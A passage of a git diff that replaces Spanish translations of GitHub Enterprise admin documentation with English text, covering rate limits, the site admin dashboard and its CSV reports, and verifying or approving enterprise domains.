accept the pre-filled default limits. {% data reusables.enterprise_management_console.save-settings %} -## Habilitar los límites de tasa secundarios +## Enabling secondary rate limits -El configurar los límites de tasa secundarios protegen el nivel general de servicio en {% data variables.product.product_location %}. +Setting secondary rate limits protects the overall level of service on {% data variables.product.product_location %}. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% ifversion ghes > 3.1 %} -2. Debajo de "Limitación de tasa", selecciona **Habilitar la limitación de tasa secundaria**. ![Casilla para habilitar la limitación de tasa secundaria](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) +2. Under "Rate Limiting", select **Enable Secondary Rate Limiting**. + ![Checkbox for enabling secondary rate limiting](/assets/images/enterprise/management-console/secondary-rate-limits-checkbox.png) {% else %} -2. En "Limitación de tasa", selecciona **Enable Abuse Rate Limiting** (Habilitar limitación de tasa de abuso). ![Casilla para habilitar la limitación de tasa de abuso](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) +2. Under "Rate Limiting", select **Enable Abuse Rate Limiting**. + ![Checkbox for enabling abuse rate limiting](/assets/images/enterprise/management-console/abuse-rate-limits-checkbox.png) {% endif %} -3. Escribe límites para las solicitudes totales, límite de CPU y límite de CPU para búsquedas, o acepta los límites predeterminados que aparecen completados. +3. Type limits for Total Requests, CPU Limit, and CPU Limit for Searching, or accept the pre-filled default limits. {% data reusables.enterprise_management_console.save-settings %} -## Habilitar límites de tasa de Git +## Enabling Git rate limits -Puedes aplicar límites de tasa de Git por red de repositorios o por Id. de usuario. Los límites de tasa de Git se expresan en operaciones simultáneas por minuto y se adaptan en función de la carga de CPU actual. +You can apply Git rate limits per repository network or per user ID. Git rate limits are expressed in concurrent operations per minute, and are adaptive based on the current CPU load. {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} -2. En "Limitación de tasa", selecciona **Enable Git Rate Limiting** (Habilitar limitación de tasa de Git). ![Casilla para habilitar la limitación de tasa de Git](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png) -3. Escribe los límites para cada red de repositorios o ID de usuario. ![Campos para la red de repositorios y límites de ID de usuario](/assets/images/enterprise/management-console/example-git-rate-limits.png) +2. Under "Rate Limiting", select **Enable Git Rate Limiting**. +![Checkbox for enabling Git rate limiting](/assets/images/enterprise/management-console/git-rate-limits-checkbox.png) +3. Type limits for each repository network or user ID. + ![Fields for repository network and user ID limits](/assets/images/enterprise/management-console/example-git-rate-limits.png) {% data reusables.enterprise_management_console.save-settings %} diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md index 41716009ec..610a1878cc 100644 --- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md +++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/site-admin-dashboard.md @@ -1,5 +1,5 @@ --- -title: Tablero de administración del sitio +title: Site admin dashboard intro: '{% data reusables.enterprise_site_admin_settings.about-the-site-admin-dashboard %}' redirect_from: - /enterprise/admin/articles/site-admin-dashboard/ @@ -14,216 +14,216 @@ topics: - Enterprise - Fundamentals --- - -Para acceder al tablero, en la esquina superior derecha de cualquier página, haz clic en {% octicon "rocket" aria-label="The rocket ship" %}. ![Icono de cohete para acceder a la configuración de administrador del sitio](/assets/images/enterprise/site-admin-settings/access-new-settings.png) +To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}. +![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) {% ifversion ghes or ghae %} -## Buscar +## Search -Aquí puedes iniciar la {{ site.data.variables.enterprise.management_console }} para administrar las configuraciones del aparato virtual como el dominio, la autenticación y SSL. +Refer to this section of the site admin dashboard to search for users and repositories, and to query the [audit log](#audit-log). {% else %} -## Información de la licencia & buscar +## License info & search -Consulta esta sección del tablero de administración del sitio para controlar tu licencia {% data variables.product.prodname_enterprise %} actual, para buscar usuarios y repositorios y para consultar el [registro de auditoría](#audit-log). +Refer to this section of the site admin dashboard to check your current {% data variables.product.prodname_enterprise %} license; to search for users and repositories; and to query the [audit log](#audit-log). {% endif %} {% ifversion ghes %} ## {% data variables.enterprise.management_console %} -Aquí puedes iniciar la {% data variables.enterprise.management_console %} para administrar las configuraciones del aparato virtual como el dominio, la autenticación y SSL. +Here you can launch the {% data variables.enterprise.management_console %} to manage virtual appliance settings such as the domain, authentication, and SSL. {% endif %} -## Explorar +## Explore -Los datos para la [página de tendencia][] de GitHub se calculan en lapsos de tiempo diarios, semanales y mensuales para ambos repositorios y programadores. Puedes ver cuándo estos datos fueron almacenados en caché por última vez y poner en cola las tareas nuevas de cálculo de tendencia desde la sección **Explore (Explorar)**. +Data for GitHub's [trending page][] is calculated into daily, weekly, and monthly time spans for both repositories and developers. You can see when this data was last cached and queue up new trending calculation jobs from the **Explore** section. -## Registro de auditoría + [trending page]: https://github.com/blog/1585-explore-what-is-trending-on-github -{% data variables.product.product_name %} mantiene un registro continuo de las acciones auditadas que puedes consultar. +## Audit log -Por defecto, el registro de auditoría te muestra una lista de todas las acciones auditadas en orden cronológico reverso. Puedes filtrar esta lista al ingresar pares de valores clave en el casillero de texto de **Query (Consulta)** y después hacer clic en **Search (Buscar)**, como se explicó en "[Buscar el registro de auditoría](/enterprise/{{ currentVersion }}/admin/guides/installation/searching-the-audit-log)." +{% data variables.product.product_name %} keeps a running log of audited actions that you can query. -Para obtener más información acerca de las bitácoras de auditoria en general, consulta "[Bitácoras de Auditoría](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)". Para encontrar una lista completa de las acciones auditadas, consulta la sección "[Acciones auditadas](/enterprise/{{ currentVersion }}/admin/guides/installation/audited-actions)". +By default, the audit log shows you a list of all audited actions in reverse chronological order. You can filter this list by entering key-value pairs in the **Query** text box and then clicking **Search**, as explained in "[Searching the audit log](/enterprise/{{ currentVersion }}/admin/guides/installation/searching-the-audit-log)." -## Informes +For more information on audit logging in general, see "[Audit logging](/enterprise/{{ currentVersion }}/admin/guides/installation/audit-logging)." For a full list of audited actions, see "[Audited actions](/enterprise/{{ currentVersion }}/admin/guides/installation/audited-actions)." -Si necesitas obtener información sobre los usuarios, organizaciones y repositorios en {% data variables.product.product_location %}, comúnmente extraerías datos JSON a través de la [API de GitHub](/rest). Lamentablemente, es posible que la API no proporcione todos los datos que deseas y se requiera algo de conocimiento técnico para usarla. Este tablero de administración del sitio ofrece una sección de **Reports (Informes)** como una alternativa, haciendo que sea fácil descargar informes CSV con la mayoría de la información que probablemente necesites para los usuarios, las organizaciones y los repositorios. +## Reports -Específicamente, puedes descargar informes CSV que enumeren a +If you need to get information on the users, organizations, and repositories in {% data variables.product.product_location %}, you would ordinarily fetch JSON data through the [GitHub API](/rest). Unfortunately, the API may not provide all of the data that you want and it requires a bit of technical expertise to use. The site admin dashboard offers a **Reports** section as an alternative, making it easy for you to download CSV reports with most of the information that you are likely to need for users, organizations, and repositories. -- todos los usuarios -- todos los usuarios que han estado activos dentro del último mes -- todos los usuarios que han estado inactivos durante un mes o más -- todos los usuarios que han sido suspendidos -- todas las organizaciones -- todos los repositorios +Specifically, you can download CSV reports that list -También puedes acceder a estos informes mediante programación a través de una autenticación estándar de HTTP con una cuenta de administrador del sitio. Debes utilizar un token de acceso personal con alcance de `site_admin`. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)". +- all users +- all users who have been active within the last month +- all users who have been inactive for one month or more +- all users who have been suspended +- all organizations +- all repositories -Por ejemplo, así es como descargarías el informe "todos los usuarios" utilizando cURL: +You can also access these reports programmatically via standard HTTP authentication with a site admin account. You must use a personal access token with the `site_admin` scope. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)." + +For example, here is how you would download the "all users" report using cURL: ```shell curl -L -u username:token http(s)://hostname/stafftools/reports/all_users.csv ``` -Para acceder a otros informes mediante programación, reemplaza `all_users` con `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, o `all_repositories`. +To access the other reports programmatically, replace `all_users` with `active_users`, `dormant_users`, `suspended_users`, `all_organizations`, or `all_repositories`. {% note %} -**Nota:** La solicitud `curl` inicial devolverá una respuesta 202 HTTP si no hay informes en caché disponibles; se generará un informe en segundo plano. Puedes enviar una segunda solicitud para descargar el informe. Puedes utilizar una contraseña o un token de OAuth con el alcance `site_admin` en lugar de la contraseña. +**Note:** The initial `curl` request will return a 202 HTTP response if there are no cached reports available; a report will be generated in the background. You can send a second request to download the report. You can use a password or an OAuth token with the `site_admin` scope in place of a password. {% endnote %} -### Informes del usuario +### User reports -| Clave | Descripción | -| ------------------------:| --------------------------------------------------------------------------------- | -| `created_at (creado en)` | Cuándo fue creada la cuenta de usuario (como una marca de tiempo ISO 8601) | -| `id` | ID de la cuenta para el usuario o la organización | -| `login` | Nombre de inicio de sesión de la cuenta | -| `correo electrónico` | Dirección principal de correo electrónico de la cuenta | -| `rol` | Si la cuenta es de un usuario administrador o de un usuario común | -| `suspended?` | Si la cuenta ha sido suspendida | -| `last_logged_ip` | La dirección IP más reciente que se registró en la cuenta | -| `repos` | Cantidad de repositorios que posee la cuenta | -| `ssh_keys` | Cantidad de claves SSH registradas en la cuenta | -| `org_memberships` | Cantidad de organizaciones a las que pertenece la cuenta | -| `dormant?` | Si la cuenta está inactiva | -| `last_active` | Cuándo la cuenta estuvo activa por última vez (como una marca de tiempo ISO 8601) | -| `raw_login` | Información de inicio de sesión sin procesar (en formato JSON) | -| `2fa_enabled?` | Si el usuario ha habilitado autenticación de dos factores | +Key | Description +-----------------:| ------------------------------------------------------------ +`created_at` | When the user account was created (as an ISO 8601 timestamp) +`id` | Account ID for the user or organization +`login` | Account's login name +`email` | Account's primary email address +`role` | Whether the account is an admin or an ordinary user +`suspended?` | Whether the account has been suspended +`last_logged_ip` | Most recent IP address to log into the account +`repos` | Number of repositories owned by the account +`ssh_keys` | Number of SSH keys registered to the account +`org_memberships` | Number of organizations to which the account belongs +`dormant?` | Whether the account is dormant +`last_active` | When the account was last active (as an ISO 8601 timestamp) +`raw_login` | Raw login information (in JSON format) +`2fa_enabled?` | Whether the user has enabled two-factor authentication -### Informes de la organización +### Organization reports -| Clave | Descripción | -| ------------------------:| ------------------------------------------------------------ | -| `id` | ID de la organización | -| `created_at (creado en)` | Cuándo se creó la organización | -| `login` | Nombre de inicio de sesión de la organización | -| `correo electrónico` | Dirección principal de correo electrónico de la organización | -| `owners` | Cantidad de propietarios de la organización | -| `members` | Cantidad de miembros de la organización | -| `equipos` | Cantidad de equipos de la organización | -| `repos` | Cantidad de repositorios de la organización | -| `2fa_required?` | Si la organización requiere autenticación de dos factores | +Key | Description +--------------:| ------------------------------------ +`id` | Organization ID +`created_at` | When the organization was created +`login` | Organization's login name +`email` | Organization's primary email address +`owners` | Number of organization owners +`members` | Number of organization members +`teams` | Number of organization teams +`repos` | Number of organization repositories +`2fa_required?`| Whether the organization requires two-factor authentication -### Informes del repositorio +### Repository reports -| Clave | Descripción | -| ------------------------:| ------------------------------------------------------------------ | -| `created_at (creado en)` | Cuándo fue creado el repositorio | -| `owner_id` | ID del propietario del repositorio | -| `owner_type` | Si el repositorio es propiedad de un usuario o de una organización | -| `owner_name` | Nombre del propietario del repositorio | -| `id` | ID del repositorio | -| `name (nombre)` | Nombre del repositorio | -| `visibilidad` | Si el repositorio es público o privado | -| `readable_size` | El tamaño del repositorio en un formato legible | -| `raw_size` | Tamaño del repositorio como un número | -| `collaborators` | Cantidad de colaboradores del repositorio | -| `fork?` | Si el repositorio es una bifurcación | -| `deleted?` | Si el repositorio ha sido borrado | +Key | Description +---------------:| ------------------------------------------------------------ +`created_at` | When the repository was created +`owner_id` | ID of the repository's owner +`owner_type` | Whether the repository is owned by a user or an organization +`owner_name` | Name of the repository's owner +`id` | Repository ID +`name` | Repository name +`visibility` | Whether the repository is public or private +`readable_size` | Repository's size in a human-readable format +`raw_size` | Repository's size as a number +`collaborators` | Number of repository collaborators +`fork?` | Whether the repository is a fork +`deleted?` | Whether the repository has been deleted {% ifversion ghes %} -## Indexar +## Indexing -Las funciones de [búsqueda de código][] de GitHub son propulsadas por [ElasticSearch][]. Esta sección del tablero de administración del sitio muestra el estado actual de tu agrupación de ElasticSearch y brinda diversas herramientas para controlar el comportamiento de búsqueda e indexación. Estas herramientas están separadas en las siguientes tres categorías. +GitHub's [code search][] features are powered by [ElasticSearch][]. This section of the site admin dashboard shows you the current status of your ElasticSearch cluster and provides you with several tools to control the behavior of searching and indexing. These tools are split into the following three categories. -### Búsqueda de código + [Code Search]: https://github.com/blog/1381-a-whole-new-code-search + [ElasticSearch]: http://www.elasticsearch.org/ -Esto te permite habilitar o deshabilitar tanto las operaciones de búsqueda como de indexación en el código fuente. +### Code search -### Reparación del índice de búsqueda de código +This allows you to enable or disable both search and index operations on source code. -Esto controla cómo se repara el índice de búsqueda de código. Puedes +### Code search index repair -- habilitar o inhabilitar tareas de reparación de índices -- comenzar una nueva tarea de reparación de índice -- restablecer todos los estados de reparación de índices +This controls how the code search index is repaired. You can -{% data variables.product.prodname_enterprise %} utiliza tareas de reparación para compaginar el estado del índice de búsqueda con los datos almacenados en una base de datos (propuestas, solicitudes de extracción, repositorios y usuarios) y los datos almacenados en los repositorios de Git (código fuente). Esto sucede cuando +- enable or disable index repair jobs +- start a new index repair job +- reset all index repair state -- se crea un nuevo índice de búsqueda; -- faltan datos que se deben reponer; o -- los datos de búsqueda antiguos deben ser actualizados. +{% data variables.product.prodname_enterprise %} uses repair jobs to reconcile the state of the search index with data stored in a database (issues, pull requests, repositories, and users) and data stored in Git repositories (source code). This happens when -En otras palabras, las tareas de reparación se inician según se necesiten y se ejecutan en segundo plano, no están programados por los administradores del sitio de ningún modo. +- a new search index is created; +- missing data needs to be backfilled; or +- old search data needs to be updated. -Además, las tareas de reparación utilizan una "compensación de reparación" para la paralelización. Esto es una compensación dentro de la tabla de base de datos para el registro que se está compaginando. Múltiples tareas en segundo plano pueden sincronizar el trabajo en base a esta compensación. +In other words, repair jobs are started as needed and run in the background—they are not scheduled by site admins in any way. -Una barra de progreso muestra el estado actual de la tarea de reparación a través de todos sus trabajadores en segundo plano. Es la diferencia de porcentaje de la compensación de reparación con el ID de registro más alto en la base de datos. No te preocupes sobre el valor que se muestra en la barra de progreso después de que una tarea de reparación se haya completado: ya que muestra la diferencia entre la compensación de reparación y el ID del registro más alto en la base de datos, disminuirá a medida que se agreguen más repositorios a {% data variables.product.product_location %} incluso aquellos repositorios que están de hecho indexados. +Furthermore, repair jobs use a "repair offset" for parallelization. This is an offset into the database table for the record being reconciled. Multiple background jobs can synchronize work based on this offset. -Puedes comenzar una nueva tarea de reparación de índice de búsqueda de código en cualquier momento. Utilizará una CPU única ya que compagina el índice de búsqueda con la base de datos y los datos del repositorio de Git. Para minimizar los efectos que esto tendrá en el desempeño de I/O y reducir las posibilidades de que las operaciones queden inactivas, trata de ejecutar una tarea de reparación durante las horas valle en primer lugar. Controla las cargas promedio de tu sistema y el uso de tu CPU con una herramienta como `top`; si no notas cambios significativos, debería ser seguro ejecutar una tarea de reparación de índice también durante las horas pico. +A progress bar shows the current status of a repair job across all of its background workers. It is the percentage difference of the repair offset with the highest record ID in the database. Don't worry about the value shown in the progress bar after a repair job has completed: because it shows the difference between the repair offset and the highest record ID in the database, it will decrease as more repositories are added to {% data variables.product.product_location %} even though those repositories are actually indexed. -### Reparación de índice de propuestas +You can start a new code-search index repair job at any time. It will use a single CPU as it reconciles the search index with database and Git repository data. To minimize the effects this will have on I/O performance and reduce the chances of operations timing out, try to run a repair job during off-peak hours first. Monitor your system's load averages and CPU usage with a utility like `top`; if you don't notice any significant changes, it should be safe to run an index repair job during peak hours, as well. -Esto controla de qué manera se repara el [índice de propuestas][]. Puedes +### Issues index repair -- habilitar o inhabilitar tareas de reparación de índices -- comenzar una nueva tarea de reparación de índice -- restablecer todos los estados de reparación de índices +This controls how the [Issues][] index is repaired. You can + + [Issues]: https://github.com/blog/831-issues-2-0-the-next-generation + +- enable or disable index repair jobs +- start a new index repair job +- reset all index repair state {% endif %} -## Inicios de sesión reservados +## Reserved logins -Algunas palabras se reservan para uso interno en {% data variables.product.product_location %}, lo cual significa que estas no pueden utilizarse como nombres de usuario. +Certain words are reserved for internal use in {% data variables.product.product_location %}, which means that these words cannot be used as usernames. -Por ejemplo, las siguientes palabras, entre otras, son reservadas: +For example, the following words are reserved, among others: - `admin` -- `empresa` +- `enterprise` - `login` - `staff` -- `asistencia` +- `support` -Para una lista completa de palabras reservadas, navega a la sección de "Inicios de sesión reservados" en el tablero de administrador de sitio. +For the full list or reserved words, navigate to "Reserved logins" in the site admin dashboard. {% ifversion ghes or ghae %} -## Todos los usuarios +## Enterprise overview -Aquí puedes ver todos los usuarios que han sido suspendidos en {{ site.data.variables.product.product_location_enterprise }}, e [iniciar una auditoría clave de SSH](/enterprise/{{ page.version }}/admin/guides/user-management/auditing-ssh-keys). +Refer to this section of the site admin dashboard to manage organizations, people, policies, and settings. {% endif %} -## Repositorios +## Repositories -Es una lista de los repositorios en {% data variables.product.product_location %}. Puedes hacer clic en un nombre de repositorio y acceder a las funciones para administrar el repositorio. +This is a list of the repositories on {% data variables.product.product_location %}. You can click on a repository name and access functions for administering the repository. -- [Bloquear empujes forzados en un repositorio](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) -- [Configurar {% data variables.large_files.product_name_long %}](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) -- [Archivar y desarchivar repositorios](/enterprise/{{ currentVersion }}/admin/guides/user-management/archiving-and-unarchiving-repositories/) +- [Blocking force pushes to a repository](/enterprise/{{ currentVersion }}/admin/guides/developer-workflow/blocking-force-pushes-to-a-repository/) +- [Configuring {% data variables.large_files.product_name_long %}](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-git-large-file-storage/#configuring-git-large-file-storage-for-an-individual-repository) +- [Archiving and unarchiving repositories](/enterprise/{{ currentVersion }}/admin/guides/user-management/archiving-and-unarchiving-repositories/) -## Todos los usuarios +## All users -Aquí puedes ver a todos los usuarios en {% data variables.product.product_location %} e [iniciar una auditoría de llaves de SSH](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). +Here you can see all of the users on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). -## Administrador del sitio +## Site admins -Aquí puedes ver todos los administradores en {% data variables.product.product_location %}, e [iniciar una auditoría clave en SSH](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). +Here you can see all of the administrators on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). -## Usuarios inactivos +## Dormant users {% ifversion ghes %} -Aquí puedes ver y [suspender](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users) todos los usuarios inactivos en {% data variables.product.product_location %}. Una cuenta de usuario se considera inactiva ("dormant") cuando: +Here you can see and [suspend](/enterprise/{{ currentVersion }}/admin/guides/user-management/suspending-and-unsuspending-users) all of the inactive users on {% data variables.product.product_location %}. A user account is considered to be inactive ("dormant") when it: {% endif %} {% ifversion ghae %} -Aquí puedes ver y suspender a todos los usuarios inactivos en {% data variables.product.product_location %}. Una cuenta de usuario se considera inactiva ("dormant") cuando: +Here you can see and suspend all of the inactive users on {% data variables.product.product_location %}. A user account is considered to be inactive ("dormant") when it: {% endif %} -- Ha existido durante más tiempo del umbral de inactividad que está establecido para {% data variables.product.product_location %}. -- No ha generado ninguna actividad dentro de ese período. -- No es un administrador del sitio. +- Has existed for longer than the dormancy threshold that's set for {% data variables.product.product_location %}. +- Has not generated any activity within that time period. +- Is not a site administrator. -{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} Para obtener más información, consulta "[Administrar usuarios inactivos](/enterprise/{{ currentVersion }}/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)." +{% data reusables.enterprise_site_admin_settings.dormancy-threshold %} For more information, see "[Managing dormant users](/enterprise/{{ currentVersion }}/admin/guides/user-management/managing-dormant-users/#configuring-the-dormancy-threshold)." -## Usuarios suspendidos +## Suspended users -Aquí puedes ver todos los usuarios que han sido suspendidos en {% data variables.product.product_location %}, e [iniciar una auditoría clave de SSH](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). - - [página de tendencia]: https://github.com/blog/1585-explore-what-is-trending-on-github - - [búsqueda de código]: https://github.com/blog/1381-a-whole-new-code-search - [ElasticSearch]: http://www.elasticsearch.org/ - - [índice de propuestas]: https://github.com/blog/831-issues-2-0-the-next-generation +Here you can see all of the users who have been suspended on {% data variables.product.product_location %}, and [initiate an SSH key audit](/enterprise/{{ currentVersion }}/admin/guides/user-management/auditing-ssh-keys). diff --git a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md index a937f48bd3..e67d0f08e8 100644 --- a/translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md +++ b/translations/es-ES/content/admin/configuration/configuring-your-enterprise/verifying-or-approving-a-domain-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: Verificar o aprobar un dominio para tu empresa -shortTitle: Verificar o aprobar un dominio -intro: 'Puedes verificar tu propiedad de dominios con {% data variables.product.company_short %} para confirmar la identidad de las organizaciones que pertenecen a tu cuenta empresarial. Tambien puedes aprobar los dominios en donde los miembros de la organización pueden recibir notificaciones por correo electrónico.' +title: Verifying or approving a domain for your enterprise +shortTitle: Verify or approve a domain +intro: 'You can verify your ownership of domains with {% data variables.product.company_short %} to confirm the identity of organizations owned by your enterprise account. You can also approve domains where organization members can receive email notifications.' product: '{% data reusables.gated-features.verify-and-approve-domain %}' versions: ghec: '*' @@ -24,37 +24,37 @@ redirect_from: - /admin/policies/verifying-or-approving-a-domain-for-your-enterprise --- -## Acerca de la verificación de dominios +## About verification of domains -Puedes confirmar que tu empresa controle los sitios web y direcciones de correo electrónico que se listan en los perfiles de cualquier organización que le pertenezca a tu cuenta empresarial si verificas los dominios. Los dominios verificados para una cuenta empresarial aplican a cada organización que pertenezca a la cuenta empresarial. +You can confirm that the websites and email addresses listed on the profiles of any organization owned by your enterprise account are controlled by your enterprise by verifying the domains. Verified domains for an enterprise account apply to every organization owned by the enterprise account. -Después de que verificas la propiedad de los dominios de tus cuentas empresariales, se mostrará una insignia de "Verificado" en el perfil de cada organización que liste el dominio en su perfil. {% data reusables.organizations.verified-domains-details %} +After you verify ownership of your enterprise account's domains, a "Verified" badge will display on the profile of each organization that has the domain listed on its profile. {% data reusables.organizations.verified-domains-details %} -Los propietarios de las organizaciones podrán verificar la identidad de los miembros de éstas si visualizan la dirección de correo electrónico de cada miembro dentro del dominio verificado. +Organization owners will be able to verify the identity of organization members by viewing each member's email address within the verified domain. -Después de que verificas los dominios para tu cuenta empresarial, puedes restringir las notificaciones de correo electrónico a los dominios verificados para todas las organizaciones que le pertenezcan a tu cuenta empresarial. For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)." +After you verify domains for your enterprise account, you can restrict email notifications to verified domains for all the organizations owned by your enterprise account. For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)." -Incluso si no restringieras las notificaciones por correo electrónico para la cuenta empresarial, en caso de que un propietario de organización lo haya hecho, los miembros de dicha organización podrán recibir notificaciones en cualquier dominio que la empresa haya verificado o aprobado para la cuenta empresarial adicionalmente a cualquier dominio que se haya verificado o aprobado previamente para la organización. Para obtener más información sobre cómo restringir las notificaciones de una organización, consulta la sección "[Restringir las notificaciones por correo electrónico para tu organización](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)". +Even if you don't restrict email notifications for the enterprise account, if an organization owner has restricted email notifications for the organization, organization members will be able to receive notifications at any domains verified or approved for the enterprise account, in addition to any domains verified or approved for the organization. For more information about restricting notifications for an organization, see "[Restricting email notifications for your organization](/organizations/keeping-your-organization-secure/restricting-email-notifications-for-your-organization)." -Los propietarios de organización también pueden verificar dominios adicionales para sus organizaciones. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." +Organization owners can also verify additional domains for their organizations. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." -## Acerca de la aprobación de dominios +## About approval of domains {% data reusables.enterprise-accounts.approved-domains-beta-note %} {% data reusables.enterprise-accounts.approved-domains-about %} -Después de que apruebas los dominios en tu cuenta empresarial, puedes restringir las notificaciones por correo electrónico para la actividad dentro de esta a los usuarios con direcciones de correo electrónico verificadas dentro de los dominios aprobados o verificados. For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)." +After you approve domains for your enterprise account, you can restrict email notifications for activity within your enterprise account to users with verified email addresses within verified or approved domains. For more information, see "[Restricting email notifications for your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/restricting-email-notifications-for-your-enterprise)." -{% ifversion ghec %}To receive email notifications, the owner of the user account must verify the email address on {% data variables.product.product_name %}. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/github/getting-started-with-github/verifying-your-email-address)".{% endif %} +{% ifversion ghec %}To receive email notifications, the owner of the user account must verify the email address on {% data variables.product.product_name %}. For more information, see "[Verifying your email address](/github/getting-started-with-github/verifying-your-email-address)."{% endif %} -Los propietarios de la organización no pueden ver la dirección de correo electrónico ni qué cuenta de usuario está asociada con alguna de ellas desde un dominio aprobado. +Organization owners cannot see the email address or which user account is associated with an email address from an approved domain. -Los propietarios de organización también pueden aprobar dominios adicionales para sus organizaciones. Para obtener más información, consulta la sección "[Verificar o aprobar un dominio para tu organización](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." +Organization owners can also approve additional domains for their organizations. For more information, see "[Verifying or approving a domain for your organization](/organizations/managing-organization-settings/verifying-or-approving-a-domain-for-your-organization)." -## Verificar un dominio para tu cuenta empresarial +## Verifying a domain for your enterprise account -Para verificar el dominio de tu cuenta empresarial, debes tener acceso para modificar los registros del dominio con tu servicio de hospedaje de dominios. +To verify your enterprise account's domain, you must have access to modify domain records with your domain hosting service. {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} @@ -62,15 +62,16 @@ Para verificar el dominio de tu cuenta empresarial, debes tener acceso para modi {% data reusables.enterprise-accounts.add-a-domain %} {% data reusables.organizations.add-domain %} {% data reusables.organizations.add-dns-txt-record %} -1. Espera a que cambie la configuración de tu DNS, lo cual puede llevar hasta 72 horas. Puedes confirmar que tu configuración de DNS cambió si ejecutas el comando `dig` en la línea de comandos, reemplazando `ENTERPRISE-ACCOUNT` con el nombre de tu cuenta empresarial, y `example.com` con el dominio que te gustaría verificar. Deberías ver tu nuevo registro TXT enumerado en el resultado del comando. +1. Wait for your DNS configuration to change, which may take up to 72 hours. You can confirm your DNS configuration has changed by running the `dig` command on the command line, replacing `ENTERPRISE-ACCOUNT` with the name of your enterprise account, and `example.com` with the domain you'd like to verify. You should see your new TXT record listed in the command output. ```shell dig _github-challenge-ENTERPRISE-ACCOUNT.example.com +nostats +nocomments +nocmd TXT ``` -1. Después de confirmar, tu registro de TXT se agrega a tu DNS, sigue los pasos uno a cuatro, los cuales se explican anteriormente, para navegar a los dominios aprobados y verificados de tu cuenta empresarial. +1. After confirming your TXT record is added to your DNS, follow steps one through four above to navigate to your enterprise account's approved and verified domains. {% data reusables.enterprise-accounts.continue-verifying-domain %} -1. Opcionalmente, después de que la insignia de "Verificado" se pueda ver en el perfil de tus organizaciones, borra la entrada de TxT del registro de DNS en tu servicio de hospedaje de dominio. ![Insignia Verificado](/assets/images/help/organizations/verified-badge.png) +1. Optionally, after the "Verified" badge is visible on your organizations' profiles, delete the TXT entry from the DNS record at your domain hosting service. +![Verified badge](/assets/images/help/organizations/verified-badge.png) -## Aprobar un dominio para tu cuenta empresarial +## Approving a domain for your enterprise account {% data reusables.enterprise-accounts.approved-domains-beta-note %} @@ -82,9 +83,10 @@ Para verificar el dominio de tu cuenta empresarial, debes tener acceso para modi {% data reusables.organizations.domains-approve-it-instead %} {% data reusables.organizations.domains-approve-domain %} -## Eliminar un dominio verificado o aprobado +## Removing an approved or verified domain {% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.settings-tab %} {% data reusables.enterprise-accounts.verified-domains-tab %} -1. A la derecha del dominio a eliminar, haz clic en {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} y luego en **Borrar**. !["Borrar" para un dominio](/assets/images/help/organizations/domains-delete.png) +1. To the right of the domain to remove, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **Delete**. + !["Delete" for a domain](/assets/images/help/organizations/domains-delete.png) diff --git a/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md b/translations/es-ES/content/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud.md index 0bcbeb3eb4..52b99fa99f 100644 --- 